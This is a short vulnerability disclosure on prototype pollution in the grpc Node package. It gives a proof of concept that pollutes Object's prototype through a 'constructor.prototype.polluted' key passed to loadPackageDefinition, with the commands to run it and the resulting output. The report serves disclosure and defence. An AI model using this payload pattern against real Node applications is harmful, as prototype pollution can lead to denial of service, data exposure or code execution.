Prototype Pollution in grpc/grpc-node


Reported on

Jan 26th 2021


grpc native core package is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var grpc =require('grpc')
grpc.loadPackageDefinition({'constructor.prototype.polluted': "Yes! Its Polluted"});
  1. Execute the following commands in another terminal:
npm i grpc # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
[Function: ServiceClient] { service: 'Yes! Its Polluted' }
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